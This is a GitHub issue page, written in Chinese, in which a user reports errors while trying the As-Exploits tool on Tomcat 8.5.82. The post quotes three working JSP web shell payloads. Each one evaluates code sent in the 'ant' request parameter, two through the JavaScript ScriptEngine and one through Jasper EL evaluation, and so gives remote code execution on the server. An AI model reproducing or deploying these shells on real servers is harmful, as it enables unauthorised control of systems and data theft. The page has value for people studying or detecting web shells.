As-Exploits icon indicating copy to clipboard operation
As-Exploits copied to clipboard

As-Exploits 执行报错

Open etn0tw opened this issue 10 months ago • 0 comments

从博客看到尝试的,不知道是不是我操作哪里有问题? 环境 tomcat-8.5.82 jdk1.8.0_241

1、shell payload: <% try { new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{ put("response", response); put("request", request); }})); } catch (Exception e) { } %> image image 2、shell payload: <% out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));; %> image image 3、shell payload: <% out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null)); %> image image

etn0tw avatar Apr 22 '24 07:04 etn0tw